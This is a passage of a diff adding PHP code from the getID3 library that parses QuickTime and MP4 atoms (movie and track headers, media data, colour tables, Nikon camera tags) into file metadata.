+				$atom_structure['graphics_mode']          = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2));
+				$atom_structure['opcolor_red']            = getid3_lib::BigEndian2Int(substr($atom_data,  6, 2));
+				$atom_structure['opcolor_green']          = getid3_lib::BigEndian2Int(substr($atom_data,  8, 2));
+				$atom_structure['opcolor_blue']           = getid3_lib::BigEndian2Int(substr($atom_data, 10, 2));
+				$atom_structure['balance']                = getid3_lib::BigEndian2Int(substr($atom_data, 12, 2));
+				$atom_structure['reserved']               = getid3_lib::BigEndian2Int(substr($atom_data, 14, 2));
+				break;
+
+
+			case 'smhd': // Sound Media information HeaDer atom
+				$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+				$atom_structure['balance']                = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2));
+				$atom_structure['reserved']               = getid3_lib::BigEndian2Int(substr($atom_data,  6, 2));
+				break;
+
+
+			case 'vmhd': // Video Media information HeaDer atom
+				$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3));
+				$atom_structure['graphics_mode']          = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2));
+				$atom_structure['opcolor_red']            = getid3_lib::BigEndian2Int(substr($atom_data,  6, 2));
+				$atom_structure['opcolor_green']          = getid3_lib::BigEndian2Int(substr($atom_data,  8, 2));
+				$atom_structure['opcolor_blue']           = getid3_lib::BigEndian2Int(substr($atom_data, 10, 2));
+
+				$atom_structure['flags']['no_lean_ahead'] = (bool) ($atom_structure['flags_raw'] & 0x001);
+				break;
+
+
+			case 'hdlr': // HanDLeR reference atom
+				$atom_structure['version']                = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']              = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+				$atom_structure['component_type']         =                           substr($atom_data,  4, 4);
+				$atom_structure['component_subtype']      =                           substr($atom_data,  8, 4);
+				$atom_structure['component_manufacturer'] =                           substr($atom_data, 12, 4);
+				$atom_structure['component_flags_raw']    = getid3_lib::BigEndian2Int(substr($atom_data, 16, 4));
+				$atom_structure['component_flags_mask']   = getid3_lib::BigEndian2Int(substr($atom_data, 20, 4));
+				$atom_structure['component_name']         =      $this->Pascal2String(substr($atom_data, 24));
+
+				if (($atom_structure['component_subtype'] == 'STpn') && ($atom_structure['component_manufacturer'] == 'zzzz')) {
+					$info['video']['dataformat'] = 'quicktimevr';
+				}
+				break;
+
+
+			case 'mdhd': // MeDia HeaDer atom
+				$atom_structure['version']               = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']             = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+				$atom_structure['creation_time']         = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
+				$atom_structure['modify_time']           = getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
+				$atom_structure['time_scale']            = getid3_lib::BigEndian2Int(substr($atom_data, 12, 4));
+				$atom_structure['duration']              = getid3_lib::BigEndian2Int(substr($atom_data, 16, 4));
+				$atom_structure['language_id']           = getid3_lib::BigEndian2Int(substr($atom_data, 20, 2));
+				$atom_structure['quality']               = getid3_lib::BigEndian2Int(substr($atom_data, 22, 2));
+
+				if ($atom_structure['time_scale'] == 0) {
+					$this->error('Corrupt Quicktime file: mdhd.time_scale == zero');
+					return false;
+				}
+				$info['quicktime']['time_scale'] = ((isset($info['quicktime']['time_scale']) && ($info['quicktime']['time_scale'] < 1000)) ? max($info['quicktime']['time_scale'], $atom_structure['time_scale']) : $atom_structure['time_scale']);
+
+				$atom_structure['creation_time_unix']    = getid3_lib::DateMac2Unix($atom_structure['creation_time']);
+				$atom_structure['modify_time_unix']      = getid3_lib::DateMac2Unix($atom_structure['modify_time']);
+				$atom_structure['playtime_seconds']      = $atom_structure['duration'] / $atom_structure['time_scale'];
+				$atom_structure['language']              = $this->QuicktimeLanguageLookup($atom_structure['language_id']);
+				if (empty($info['comments']['language']) || (!in_array($atom_structure['language'], $info['comments']['language']))) {
+					$info['comments']['language'][] = $atom_structure['language'];
+				}
+				break;
+
+
+			case 'pnot': // Preview atom
+				$atom_structure['modification_date']      = getid3_lib::BigEndian2Int(substr($atom_data,  0, 4)); // "standard Macintosh format"
+				$atom_structure['version_number']         = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2)); // hardcoded: 0x00
+				$atom_structure['atom_type']              =                           substr($atom_data,  6, 4);        // usually: 'PICT'
+				$atom_structure['atom_index']             = getid3_lib::BigEndian2Int(substr($atom_data, 10, 2)); // usually: 0x01
+
+				$atom_structure['modification_date_unix'] = getid3_lib::DateMac2Unix($atom_structure['modification_date']);
+				break;
+
+
+			case 'crgn': // Clipping ReGioN atom
+				$atom_structure['region_size']   = getid3_lib::BigEndian2Int(substr($atom_data,  0, 2)); // The Region size, Region boundary box,
+				$atom_structure['boundary_box']  = getid3_lib::BigEndian2Int(substr($atom_data,  2, 8)); // and Clipping region data fields
+				$atom_structure['clipping_data'] =                           substr($atom_data, 10);           // constitute a QuickDraw region.
+				break;
+
+
+			case 'load': // track LOAD settings atom
+				$atom_structure['preload_start_time'] = getid3_lib::BigEndian2Int(substr($atom_data,  0, 4));
+				$atom_structure['preload_duration']   = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
+				$atom_structure['preload_flags_raw']  = getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
+				$atom_structure['default_hints_raw']  = getid3_lib::BigEndian2Int(substr($atom_data, 12, 4));
+
+				$atom_structure['default_hints']['double_buffer'] = (bool) ($atom_structure['default_hints_raw'] & 0x0020);
+				$atom_structure['default_hints']['high_quality']  = (bool) ($atom_structure['default_hints_raw'] & 0x0100);
+				break;
+
+
+			case 'tmcd': // TiMe CoDe atom
+			case 'chap': // CHAPter list atom
+			case 'sync': // SYNChronization atom
+			case 'scpt': // tranSCriPT atom
+			case 'ssrc': // non-primary SouRCe atom
+				for ($i = 0; $i < strlen($atom_data); $i += 4) {
+					@$atom_structure['track_id'][] = getid3_lib::BigEndian2Int(substr($atom_data, $i, 4));
+				}
+				break;
+
+
+			case 'elst': // Edit LiST atom
+				$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+				$atom_structure['number_entries'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
+				for ($i = 0; $i < $atom_structure['number_entries']; $i++ ) {
+					$atom_structure['edit_list'][$i]['track_duration'] =   getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($i * 12) + 0, 4));
+					$atom_structure['edit_list'][$i]['media_time']     =   getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($i * 12) + 4, 4));
+					$atom_structure['edit_list'][$i]['media_rate']     = getid3_lib::FixedPoint16_16(substr($atom_data, 8 + ($i * 12) + 8, 4));
+				}
+				break;
+
+
+			case 'kmat': // compressed MATte atom
+				$atom_structure['version']        = getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']      = getid3_lib::BigEndian2Int(substr($atom_data,  1, 3)); // hardcoded: 0x0000
+				$atom_structure['matte_data_raw'] =               substr($atom_data,  4);
+				break;
+
+
+			case 'ctab': // Color TABle atom
+				$atom_structure['color_table_seed']   = getid3_lib::BigEndian2Int(substr($atom_data,  0, 4)); // hardcoded: 0x00000000
+				$atom_structure['color_table_flags']  = getid3_lib::BigEndian2Int(substr($atom_data,  4, 2)); // hardcoded: 0x8000
+				$atom_structure['color_table_size']   = getid3_lib::BigEndian2Int(substr($atom_data,  6, 2)) + 1;
+				for ($colortableentry = 0; $colortableentry < $atom_structure['color_table_size']; $colortableentry++) {
+					$atom_structure['color_table'][$colortableentry]['alpha'] = getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($colortableentry * 8) + 0, 2));
+					$atom_structure['color_table'][$colortableentry]['red']   = getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($colortableentry * 8) + 2, 2));
+					$atom_structure['color_table'][$colortableentry]['green'] = getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($colortableentry * 8) + 4, 2));
+					$atom_structure['color_table'][$colortableentry]['blue']  = getid3_lib::BigEndian2Int(substr($atom_data, 8 + ($colortableentry * 8) + 6, 2));
+				}
+				break;
+
+
+			case 'mvhd': // MoVie HeaDer atom
+				$atom_structure['version']            =   getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']          =   getid3_lib::BigEndian2Int(substr($atom_data,  1, 3));
+				$atom_structure['creation_time']      =   getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
+				$atom_structure['modify_time']        =   getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
+				$atom_structure['time_scale']         =   getid3_lib::BigEndian2Int(substr($atom_data, 12, 4));
+				$atom_structure['duration']           =   getid3_lib::BigEndian2Int(substr($atom_data, 16, 4));
+				$atom_structure['preferred_rate']     = getid3_lib::FixedPoint16_16(substr($atom_data, 20, 4));
+				$atom_structure['preferred_volume']   =   getid3_lib::FixedPoint8_8(substr($atom_data, 24, 2));
+				$atom_structure['reserved']           =                             substr($atom_data, 26, 10);
+				$atom_structure['matrix_a']           = getid3_lib::FixedPoint16_16(substr($atom_data, 36, 4));
+				$atom_structure['matrix_b']           = getid3_lib::FixedPoint16_16(substr($atom_data, 40, 4));
+				$atom_structure['matrix_u']           =  getid3_lib::FixedPoint2_30(substr($atom_data, 44, 4));
+				$atom_structure['matrix_c']           = getid3_lib::FixedPoint16_16(substr($atom_data, 48, 4));
+				$atom_structure['matrix_d']           = getid3_lib::FixedPoint16_16(substr($atom_data, 52, 4));
+				$atom_structure['matrix_v']           =  getid3_lib::FixedPoint2_30(substr($atom_data, 56, 4));
+				$atom_structure['matrix_x']           = getid3_lib::FixedPoint16_16(substr($atom_data, 60, 4));
+				$atom_structure['matrix_y']           = getid3_lib::FixedPoint16_16(substr($atom_data, 64, 4));
+				$atom_structure['matrix_w']           =  getid3_lib::FixedPoint2_30(substr($atom_data, 68, 4));
+				$atom_structure['preview_time']       =   getid3_lib::BigEndian2Int(substr($atom_data, 72, 4));
+				$atom_structure['preview_duration']   =   getid3_lib::BigEndian2Int(substr($atom_data, 76, 4));
+				$atom_structure['poster_time']        =   getid3_lib::BigEndian2Int(substr($atom_data, 80, 4));
+				$atom_structure['selection_time']     =   getid3_lib::BigEndian2Int(substr($atom_data, 84, 4));
+				$atom_structure['selection_duration'] =   getid3_lib::BigEndian2Int(substr($atom_data, 88, 4));
+				$atom_structure['current_time']       =   getid3_lib::BigEndian2Int(substr($atom_data, 92, 4));
+				$atom_structure['next_track_id']      =   getid3_lib::BigEndian2Int(substr($atom_data, 96, 4));
+
+				if ($atom_structure['time_scale'] == 0) {
+					$this->error('Corrupt Quicktime file: mvhd.time_scale == zero');
+					return false;
+				}
+				$atom_structure['creation_time_unix']        = getid3_lib::DateMac2Unix($atom_structure['creation_time']);
+				$atom_structure['modify_time_unix']          = getid3_lib::DateMac2Unix($atom_structure['modify_time']);
+				$info['quicktime']['time_scale']    = ((isset($info['quicktime']['time_scale']) && ($info['quicktime']['time_scale'] < 1000)) ? max($info['quicktime']['time_scale'], $atom_structure['time_scale']) : $atom_structure['time_scale']);
+				$info['quicktime']['display_scale'] = $atom_structure['matrix_a'];
+				$info['playtime_seconds']           = $atom_structure['duration'] / $atom_structure['time_scale'];
+				break;
+
+
+			case 'tkhd': // TracK HeaDer atom
+				$atom_structure['version']             =   getid3_lib::BigEndian2Int(substr($atom_data,  0, 1));
+				$atom_structure['flags_raw']           =   getid3_lib::BigEndian2Int(substr($atom_data,  1, 3));
+				$atom_structure['creation_time']       =   getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
+				$atom_structure['modify_time']         =   getid3_lib::BigEndian2Int(substr($atom_data,  8, 4));
+				$atom_structure['trackid']             =   getid3_lib::BigEndian2Int(substr($atom_data, 12, 4));
+				$atom_structure['reserved1']           =   getid3_lib::BigEndian2Int(substr($atom_data, 16, 4));
+				$atom_structure['duration']            =   getid3_lib::BigEndian2Int(substr($atom_data, 20, 4));
+				$atom_structure['reserved2']           =   getid3_lib::BigEndian2Int(substr($atom_data, 24, 8));
+				$atom_structure['layer']               =   getid3_lib::BigEndian2Int(substr($atom_data, 32, 2));
+				$atom_structure['alternate_group']     =   getid3_lib::BigEndian2Int(substr($atom_data, 34, 2));
+				$atom_structure['volume']              =   getid3_lib::FixedPoint8_8(substr($atom_data, 36, 2));
+				$atom_structure['reserved3']           =   getid3_lib::BigEndian2Int(substr($atom_data, 38, 2));
+// http://developer.apple.com/library/mac/#documentation/QuickTime/RM/MovieBasics/MTEditing/K-Chapter/11MatrixFunctions.html
+// http://developer.apple.com/library/mac/#documentation/QuickTime/qtff/QTFFChap4/qtff4.html#//apple_ref/doc/uid/TP40000939-CH206-18737
+				$atom_structure['matrix_a']            = getid3_lib::FixedPoint16_16(substr($atom_data, 40, 4));
+				$atom_structure['matrix_b']            = getid3_lib::FixedPoint16_16(substr($atom_data, 44, 4));
+				$atom_structure['matrix_u']            =  getid3_lib::FixedPoint2_30(substr($atom_data, 48, 4));
+				$atom_structure['matrix_c']            = getid3_lib::FixedPoint16_16(substr($atom_data, 52, 4));
+				$atom_structure['matrix_d']            = getid3_lib::FixedPoint16_16(substr($atom_data, 56, 4));
+				$atom_structure['matrix_v']            =  getid3_lib::FixedPoint2_30(substr($atom_data, 60, 4));
+				$atom_structure['matrix_x']            = getid3_lib::FixedPoint16_16(substr($atom_data, 64, 4));
+				$atom_structure['matrix_y']            = getid3_lib::FixedPoint16_16(substr($atom_data, 68, 4));
+				$atom_structure['matrix_w']            =  getid3_lib::FixedPoint2_30(substr($atom_data, 72, 4));
+				$atom_structure['width']               = getid3_lib::FixedPoint16_16(substr($atom_data, 76, 4));
+				$atom_structure['height']              = getid3_lib::FixedPoint16_16(substr($atom_data, 80, 4));
+				$atom_structure['flags']['enabled']    = (bool) ($atom_structure['flags_raw'] & 0x0001);
+				$atom_structure['flags']['in_movie']   = (bool) ($atom_structure['flags_raw'] & 0x0002);
+				$atom_structure['flags']['in_preview'] = (bool) ($atom_structure['flags_raw'] & 0x0004);
+				$atom_structure['flags']['in_poster']  = (bool) ($atom_structure['flags_raw'] & 0x0008);
+				$atom_structure['creation_time_unix']  = getid3_lib::DateMac2Unix($atom_structure['creation_time']);
+				$atom_structure['modify_time_unix']    = getid3_lib::DateMac2Unix($atom_structure['modify_time']);
+
+				if ($atom_structure['flags']['enabled'] == 1) {
+					if (!isset($info['video']['resolution_x']) || !isset($info['video']['resolution_y'])) {
+						$info['video']['resolution_x'] = $atom_structure['width'];
+						$info['video']['resolution_y'] = $atom_structure['height'];
+					}
+					$info['video']['resolution_x'] = max($info['video']['resolution_x'], $atom_structure['width']);
+					$info['video']['resolution_y'] = max($info['video']['resolution_y'], $atom_structure['height']);
+					$info['quicktime']['video']['resolution_x'] = $info['video']['resolution_x'];
+					$info['quicktime']['video']['resolution_y'] = $info['video']['resolution_y'];
+				} else {
+					// see: http://www.getid3.org/phpBB3/viewtopic.php?t=1295
+					//if (isset($info['video']['resolution_x'])) { unset($info['video']['resolution_x']); }
+					//if (isset($info['video']['resolution_y'])) { unset($info['video']['resolution_y']); }
+					//if (isset($info['quicktime']['video']))    { unset($info['quicktime']['video']);    }
+				}
+				break;
+
+
+			case 'iods': // Initial Object DeScriptor atom
+				// http://www.koders.com/c/fid1FAB3E762903DC482D8A246D4A4BF9F28E049594.aspx?s=windows.h
+				// http://libquicktime.sourcearchive.com/documentation/1.0.2plus-pdebian/iods_8c-source.html
+				$offset = 0;
+				$atom_structure['version']                =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
+				$offset += 1;
+				$atom_structure['flags_raw']              =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 3));
+				$offset += 3;
+				$atom_structure['mp4_iod_tag']            =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
+				$offset += 1;
+				$atom_structure['length']                 = $this->quicktime_read_mp4_descr_length($atom_data, $offset);
+				//$offset already adjusted by quicktime_read_mp4_descr_length()
+				$atom_structure['object_descriptor_id']   =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 2));
+				$offset += 2;
+				$atom_structure['od_profile_level']       =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
+				$offset += 1;
+				$atom_structure['scene_profile_level']    =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
+				$offset += 1;
+				$atom_structure['audio_profile_id']       =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
+				$offset += 1;
+				$atom_structure['video_profile_id']       =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
+				$offset += 1;
+				$atom_structure['graphics_profile_level'] =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
+				$offset += 1;
+
+				$atom_structure['num_iods_tracks'] = ($atom_structure['length'] - 7) / 6; // 6 bytes would only be right if all tracks use 1-byte length fields
+				for ($i = 0; $i < $atom_structure['num_iods_tracks']; $i++) {
+					$atom_structure['track'][$i]['ES_ID_IncTag'] =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 1));
+					$offset += 1;
+					$atom_structure['track'][$i]['length']       = $this->quicktime_read_mp4_descr_length($atom_data, $offset);
+					//$offset already adjusted by quicktime_read_mp4_descr_length()
+					$atom_structure['track'][$i]['track_id']     =       getid3_lib::BigEndian2Int(substr($atom_data, $offset, 4));
+					$offset += 4;
+				}
+
+				$atom_structure['audio_profile_name'] = $this->QuicktimeIODSaudioProfileName($atom_structure['audio_profile_id']);
+				$atom_structure['video_profile_name'] = $this->QuicktimeIODSvideoProfileName($atom_structure['video_profile_id']);
+				break;
+
+			case 'ftyp': // FileTYPe (?) atom (for MP4 it seems)
+				$atom_structure['signature'] =                           substr($atom_data,  0, 4);
+				$atom_structure['unknown_1'] = getid3_lib::BigEndian2Int(substr($atom_data,  4, 4));
+				$atom_structure['fourcc']    =                           substr($atom_data,  8, 4);
+				break;
+
+			case 'mdat': // Media DATa atom
+				// 'mdat' contains the actual data for the audio/video, possibly also subtitles
+
+/* due to lack of known documentation, this is a kludge implementation. If you know of documentation on how mdat is properly structed, please send it to info@getid3.org */
+
+				// first, skip any 'wide' padding, and second 'mdat' header (with specified size of zero?)
+				$mdat_offset = 0;
+				while (true) {
+					if (substr($atom_data, $mdat_offset, 8) == "\x00\x00\x00\x08".'wide') {
+						$mdat_offset += 8;
+					} elseif (substr($atom_data, $mdat_offset, 8) == "\x00\x00\x00\x00".'mdat') {
+						$mdat_offset += 8;
+					} else {
+						break;
+					}
+				}
+
+				// check to see if it looks like chapter titles, in the form of unterminated strings with a leading 16-bit size field
+				while (($mdat_offset < (strlen($atom_data) - 8))
+					&& ($chapter_string_length = getid3_lib::BigEndian2Int(substr($atom_data, $mdat_offset, 2)))
+					&& ($chapter_string_length < 1000)
+					&& ($chapter_string_length <= (strlen($atom_data) - $mdat_offset - 2))
+					&& preg_match('#^([\x00-\xFF]{2})([\x20-\xFF]+)$#', substr($atom_data, $mdat_offset, $chapter_string_length + 2), $chapter_matches)) {
+						list($dummy, $chapter_string_length_hex, $chapter_string) = $chapter_matches;
+						$mdat_offset += (2 + $chapter_string_length);
+						@$info['quicktime']['comments']['chapters'][] = $chapter_string;
+
+						// "encd" atom specifies encoding. In theory could be anything, almost always UTF-8, but may be UTF-16 with BOM (not currently handled)
+						if (substr($atom_data, $mdat_offset, 12) == "\x00\x00\x00\x0C\x65\x6E\x63\x64\x00\x00\x01\x00") { // UTF-8
+							$mdat_offset += 12;
+						}
+				}
+
+
+				if (($atomsize > 8) && (!isset($info['avdataend_tmp']) || ($info['quicktime'][$atomname]['size'] > ($info['avdataend_tmp'] - $info['avdataoffset'])))) {
+
+					$info['avdataoffset'] = $atom_structure['offset'] + 8;                       // $info['quicktime'][$atomname]['offset'] + 8;
+					$OldAVDataEnd         = $info['avdataend'];
+					$info['avdataend']    = $atom_structure['offset'] + $atom_structure['size']; // $info['quicktime'][$atomname]['offset'] + $info['quicktime'][$atomname]['size'];
+
+					$getid3_temp = new getID3();
+					$getid3_temp->openfile($this->getid3->filename);
+					$getid3_temp->info['avdataoffset'] = $info['avdataoffset'];
+					$getid3_temp->info['avdataend']    = $info['avdataend'];
+					$getid3_mp3 = new getid3_mp3($getid3_temp);
+					if ($getid3_mp3->MPEGaudioHeaderValid($getid3_mp3->MPEGaudioHeaderDecode($this->fread(4)))) {
+						$getid3_mp3->getOnlyMPEGaudioInfo($getid3_temp->info['avdataoffset'], false);
+						if (!empty($getid3_temp->info['warning'])) {
+							foreach ($getid3_temp->info['warning'] as $value) {
+								$this->warning($value);
+							}
+						}
+						if (!empty($getid3_temp->info['mpeg'])) {
+							$info['mpeg'] = $getid3_temp->info['mpeg'];
+							if (isset($info['mpeg']['audio'])) {
+								$info['audio']['dataformat']   = 'mp3';
+								$info['audio']['codec']        = (!empty($info['mpeg']['audio']['encoder']) ? $info['mpeg']['audio']['encoder'] : (!empty($info['mpeg']['audio']['codec']) ? $info['mpeg']['audio']['codec'] : (!empty($info['mpeg']['audio']['LAME']) ? 'LAME' :'mp3')));
+								$info['audio']['sample_rate']  = $info['mpeg']['audio']['sample_rate'];
+								$info['audio']['channels']     = $info['mpeg']['audio']['channels'];
+								$info['audio']['bitrate']      = $info['mpeg']['audio']['bitrate'];
+								$info['audio']['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']);
+								$info['bitrate']               = $info['audio']['bitrate'];
+							}
+						}
+					}
+					unset($getid3_mp3, $getid3_temp);
+					$info['avdataend'] = $OldAVDataEnd;
+					unset($OldAVDataEnd);
+
+				}
+
+				unset($mdat_offset, $chapter_string_length, $chapter_matches);
+				break;
+
+			case 'free': // FREE space atom
+			case 'skip': // SKIP atom
+			case 'wide': // 64-bit expansion placeholder atom
+				// 'free', 'skip' and 'wide' are just padding, contains no useful data at all
+
+				// When writing QuickTime files, it is sometimes necessary to update an atom's size.
+				// It is impossible to update a 32-bit atom to a 64-bit atom since the 32-bit atom
+				// is only 8 bytes in size, and the 64-bit atom requires 16 bytes. Therefore, QuickTime
+				// puts an 8-byte placeholder atom before any atoms it may have to update the size of.
+				// In this way, if the atom needs to be converted from a 32-bit to a 64-bit atom, the
+				// placeholder atom can be overwritten to obtain the necessary 8 extra bytes.
+				// The placeholder atom has a type of kWideAtomPlaceholderType ( 'wide' ).
+				break;
+
+
+			case 'nsav': // NoSAVe atom
+				// http://developer.apple.com/technotes/tn/tn2038.html
+				$atom_structure['data'] = getid3_lib::BigEndian2Int(substr($atom_data,  0, 4));
+				break;
+
+			case 'ctyp': // Controller TYPe atom (seen on QTVR)
+				// http://homepages.slingshot.co.nz/~helmboy/quicktime/formats/qtm-layout.txt
+				// some controller names are:
+				//   0x00 + 'std' for linear movie
+				//   'none' for no controls
+				$atom_structure['ctyp'] = substr($atom_data, 0, 4);
+				$info['quicktime']['controller'] = $atom_structure['ctyp'];
+				switch ($atom_structure['ctyp']) {
+					case 'qtvr':
+						$info['video']['dataformat'] = 'quicktimevr';
+						break;
+				}
+				break;
+
+			case 'pano': // PANOrama track (seen on QTVR)
+				$atom_structure['pano'] = getid3_lib::BigEndian2Int(substr($atom_data,  0, 4));
+				break;
+
+			case 'hint': // HINT track
+			case 'hinf': //
+			case 'hinv': //
+			case 'hnti': //
+				$info['quicktime']['hinting'] = true;
+				break;
+
+			case 'imgt': // IMaGe Track reference (kQTVRImageTrackRefType) (seen on QTVR)
+				for ($i = 0; $i < ($atom_structure['size'] - 8); $i += 4) {
+					$atom_structure['imgt'][] = getid3_lib::BigEndian2Int(substr($atom_data, $i, 4));
+				}
+				break;
+
+
+			// Observed-but-not-handled atom types are just listed here to prevent warnings being generated
+			case 'FXTC': // Something to do with Adobe After Effects (?)
+			case 'PrmA':
+			case 'code':
+			case 'FIEL': // this is NOT "fiel" (Field Ordering) as describe here: http://developer.apple.com/documentation/QuickTime/QTFF/QTFFChap3/chapter_4_section_2.html
+			case 'tapt': // TrackApertureModeDimensionsAID - http://developer.apple.com/documentation/QuickTime/Reference/QT7-1_Update_Reference/Constants/Constants.html
+						// tapt seems to be used to compute the video size [http://www.getid3.org/phpBB3/viewtopic.php?t=838]
+						// * http://lists.apple.com/archives/quicktime-api/2006/Aug/msg00014.html
+						// * http://handbrake.fr/irclogs/handbrake-dev/handbrake-dev20080128_pg2.html
+			case 'ctts'://  STCompositionOffsetAID             - http://developer.apple.com/documentation/QuickTime/Reference/QTRef_Constants/Reference/reference.html
+			case 'cslg'://  STCompositionShiftLeastGreatestAID - http://developer.apple.com/documentation/QuickTime/Reference/QTRef_Constants/Reference/reference.html
+			case 'sdtp'://  STSampleDependencyAID              - http://developer.apple.com/documentation/QuickTime/Reference/QTRef_Constants/Reference/reference.html
+			case 'stps'://  STPartialSyncSampleAID             - http://developer.apple.com/documentation/QuickTime/Reference/QTRef_Constants/Reference/reference.html
+				//$atom_structure['data'] = $atom_data;
+				break;
+
+			case "\xA9".'xyz':  // GPS latitude+longitude+altitude
+				$atom_structure['data'] = $atom_data;
+				if (preg_match('#([\\+\\-][0-9\\.]+)([\\+\\-][0-9\\.]+)([\\+\\-][0-9\\.]+)?/$#i', $atom_data, $matches)) {
+					@list($all, $latitude, $longitude, $altitude) = $matches;
+					$info['quicktime']['comments']['gps_latitude'][]  = floatval($latitude);
+					$info['quicktime']['comments']['gps_longitude'][] = floatval($longitude);
+					if (!empty($altitude)) {
+						$info['quicktime']['comments']['gps_altitude'][] = floatval($altitude);
+					}
+				} else {
+					$this->warning('QuickTime atom "©xyz" data does not match expected data pattern at offset '.$baseoffset.'. Please report as getID3() bug.');
+				}
+				break;
+
+			case 'NCDT':
+				// http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html
+				// Nikon-specific QuickTime tags found in the NCDT atom of MOV videos from some Nikon cameras such as the Coolpix S8000 and D5100
+				$atom_structure['subatoms'] = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 4, $atomHierarchy, $ParseAllPossibleAtoms);
+				break;
+			case 'NCTH': // Nikon Camera THumbnail image
+			case 'NCVW': // Nikon Camera preVieW image
+				// http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html
+				if (preg_match('/^\xFF\xD8\xFF/', $atom_data)) {
+					$atom_structure['data'] = $atom_data;
+					$atom_structure['image_mime'] = 'image/jpeg';
+					$atom_structure['description'] = (($atomname == 'NCTH') ? 'Nikon Camera Thumbnail Image' : (($atomname == 'NCVW') ? 'Nikon Camera Preview Image' : 'Nikon preview image'));
+					$info['quicktime']['comments']['picture'][] = array('image_mime'=>$atom_structure['image_mime'], 'data'=>$atom_data, 'description'=>$atom_structure['description']);
+				}
+				break;
+			case 'NCTG': // Nikon - http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html#NCTG
+				$atom_structure['data'] = $this->QuicktimeParseNikonNCTG($atom_data);
+				break;
+			case 'NCHD': // Nikon:MakerNoteVersion  - http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html
+			case 'NCDB': // Nikon                   - http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Nikon.html
+			case 'CNCV': // Canon:CompressorVersion - http://www.sno.phy.queensu.ca/~phil/exiftool/TagNames/Canon.html
+				$atom_structure['data'] = $atom_data;
+				break;
+
+			case "\x00\x00\x00\x00":
+				// some kind of metacontainer, may contain a big data dump such as:
+				// mdta keys \005 mdtacom.apple.quicktime.make (mdtacom.apple.quicktime.creationdate ,mdtacom.apple.quicktime.location.ISO6709 $mdtacom.apple.quicktime.software !mdtacom.apple.quicktime.model ilst \01D \001 \015data \001DE\010Apple 0 \002 (data \001DE\0102011-05-11T17:54:04+0200 2 \003 *data \001DE\010+52.4936+013.3897+040.247/ \01D \004 \015data \001DE\0104.3.1 \005 \018data \001DE\010iPhone 4
+				// http://www.geocities.com/xhelmboyx/quicktime/formats/qti-layout.txt
+
+				$atom_structure['version']   =          getid3_lib::BigEndian2Int(substr($atom_data, 0, 1));
+				$atom_structure['flags_raw'] =          getid3_lib::BigEndian2Int(substr($atom_data, 1, 3));
+				$atom_structure['subatoms']  = $this->QuicktimeParseContainerAtom(substr($atom_data, 4), $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
+				//$atom_structure['subatoms']  = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
+				break;
+
+			case 'meta': // METAdata atom
+				// https://developer.apple.com/library/mac/documentation/QuickTime/QTFF/Metadata/Metadata.html
+
+				$atom_structure['version']   =          getid3_lib::BigEndian2Int(substr($atom_data, 0, 1));
+				$atom_structure['flags_raw'] =          getid3_lib::BigEndian2Int(substr($atom_data, 1, 3));
+				$atom_structure['subatoms']  = $this->QuicktimeParseContainerAtom($atom_data, $baseoffset + 8, $atomHierarchy, $ParseAllPossibleAtoms);
+				break;
+
+			case 'data': // metaDATA atom
+				static $metaDATAkey = 1; // real ugly, but so is the QuickTime structure that stores keys and values in different multinested locations that are hard to relate to each other
+				// seems to be 2 bytes language code (ASCII), 2 bytes unknown (set to 0x10B5 in sample I have), remainder is useful data
+				$atom_structure['language'] =                           substr($atom_data, 4 + 0, 2);
